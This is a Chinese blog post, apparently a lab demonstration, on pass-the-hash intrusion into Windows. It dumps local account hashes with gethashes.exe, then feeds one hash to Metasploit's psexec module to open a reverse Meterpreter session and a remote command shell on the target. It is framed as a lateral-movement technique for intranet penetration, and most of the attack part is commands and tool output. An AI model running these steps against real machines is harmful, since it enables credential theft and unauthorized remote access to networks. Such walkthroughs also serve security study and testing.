hash传递入侵 - hash直接登陆windows

暗月博客 2019年11月21日18:05:28评论351 views字数 5866阅读19分33秒阅读模式
摘要

直接发过程了...网上关于HASH传递攻击的文章较多,就不说了。这里演示的一个情况特别适用于内网渗透,当我们获得一台服务器的管理权限后,继续渗透内网其他服务器.
必 不可少的都会先获取到本服务器的管理员密码再用来尝试目标服务器,可是当破解不出的时候怎么办?我们就可以采用HASH传递攻击.直接使用HASH登陆目 标主机,因为我们知道电脑本身需要的就是我们提供一份合法的具有权限的HASH,那些复杂的数学运算、加密,咱才不会咧~
废话不扯,演示开始,首先,我在我的PC(假设为目标主机)
新建一个isosky用户,并为之设置密码,然后通过各类软件获取到HASH

在的网络管理员安全防范意识可谓越来越强.一个复杂的密码是必然的.那么在渗透中,如果我们拿到了管理员的HASH,缺怎奈硬盘小、带宽低、配置烂,无法成功破解出来,怎么办呢?

直接发过程了...网上关于HASH传递攻击的文章较多,就不说了。这里演示的一个情况特别适用于内网渗透,当我们获得一台服务器的管理权限后,继续渗透内网其他服务器.
必 不可少的都会先获取到本服务器的管理员密码再用来尝试目标服务器,可是当破解不出的时候怎么办?我们就可以采用HASH传递攻击.直接使用HASH登陆目 标主机,因为我们知道电脑本身需要的就是我们提供一份合法的具有权限的HASH,那些复杂的数学运算、加密,咱才不会咧~
废话不扯,演示开始,首先,我在我的PC(假设为目标主机)
新建一个isosky用户,并为之设置密码,然后通过各类软件获取到HASH

C:/>net user isosky test
The command completed successfully.

C:/>gethashes.exe $local
1:1007:C2265B23734E0DACAAD3B435B51404EE:69943C5E63B4D2C104DBBCC15138B72B:::
Administrator:500:0A174C1272FCBCF7804E0502081BA8AE:83F36A86631180CB9F5F53F5F45DF
B2B:::
Guest:501:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::
HelpAssistant:1000:CF88594C2AC20629EEF3D6DABD2DA92D:0FCE98570CBB9C14E8FF200353B2
707B:::
isosky:1003:01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537:::

SUPPORT_388945a0:1002:AAD3B435B51404EEAAD3B435B51404EE:F9E8AE6C7229EA07EFAC12715
F954B83:::
__vmware_user__:1006:AAD3B435B51404EEAAD3B435B51404EE:915D1CEE456EA4DD6A8094F7CE
094448:::

C:/>

然后我再返回我的BT虚拟机(攻击者主机)使用MSF进行测试,MSF自带的PSEXEC模块具有HASH传递攻击功能

root@bt:~# msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

       =[ metasploit v3.7.0-release [core:3.7 api:1.0]
+ -- --=[ 684 exploits - 355 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
       =[ svn r12536 updated 76 days ago (2011.05.04)

Warning: This copy of the Metasploit Framework was last updated 76 days ago.
         We recommend that you update the framework at least every other day.
         For information on updating your copy of Metasploit, please see:
             http://www.metasploit.com/redmine/projects/framework/wiki/Updating

msf > use exploit/windows/smb/psexec
msf exploit(psexec) > show options

Module options (exploit/windows/smb/psexec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   RHOST                       yes       The target address
   RPORT      445              yes       Set the SMB service port
   SHARE      ADMIN$           yes       The share to connect to, can be an admi                                              n share

(ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain  WORKGROUP        no        The Windows domain to use for authentic                                              ation
   SMBPass                     no        The password for the specified username
   SMBUser                     no        The username to authenticate as

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf exploit(psexec) > set RHOST 192.168.0.254
RHOST => 192.168.0.254
msf exploit(psexec) > set SMBUser isosky
SMBUser => isosky
msf exploit(psexec) > set SMBPass 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537                                            

SMBPass => 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537
msf exploit(psexec) > show options

Module options (exploit/windows/smb/psexec):

   Name       Current Setting                                                                                                  Required 

Description
   ----       ---------------                                                                                                  --------  -----

------
   RHOST      192.168.0.254                                                                                                    yes       The

target address
   RPORT      445                                                                                                              yes       Set

the SMB service port
   SHARE      ADMIN$                                                                                                           yes       The

share to connect to, can be an admin share (ADMIN$,C$,...) or a n                                              ormal read/write folder share
   SMBDomain  WORKGROUP                                                                                                        no        The

Windows domain to use for authentication
   SMBPass    01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537                                                no        The

password for the specified username
   SMBUser    isosky                                                                                                           no        The

username to authenticate as

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf exploit(psexec) > exploit

[*] Started reverse handler on 192.168.0.3:4444
[*] Connecting to the server...
[*] Authenticating to 192.168.0.254:445|WORKGROUP as user 'isosky'...
[*] Uploading payload...
[*] Created /UGdecsam.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.254[/svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.254[/svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (MZsCnzjn - "MrZdoQwIlbBIYZQJyumxYX")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting /UGdecsam.exe...
[*] Sending stage (749056 bytes) to 192.168.0.254
[*] Meterpreter session 1 opened (192.168.0.3:4444 -> 192.168.0.254:1877) at 2011-07-19 03:57:17 +0800

meterpreter > sysinfo
Computer        : ISOSKY-PC
OS              : Windows XP (Build 2600, Service Pack 2).
Architecture    : x86
System Language : zh_CN
Meterpreter     : x86/win32
meterpreter > shell
Process 4596 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:/WINDOWS/system32>net user
net user

User accounts for //

-------------------------------------------------------------------------------
__vmware_user__          1                        Administrator
Guest                    HelpAssistant            isosky
SUPPORT_388945a0
The command completed with one or more errors.

C:/WINDOWS/system32>

至此,我们已经成功获得目标的CMDSHELL 是不是非常简单?

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
暗月博客
  • 本文由 发表于 2019年11月21日18:05:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   hash传递入侵 - hash直接登陆windowshttps://cn-sec.com/archives/70906.html

发表评论

匿名网友 填写信息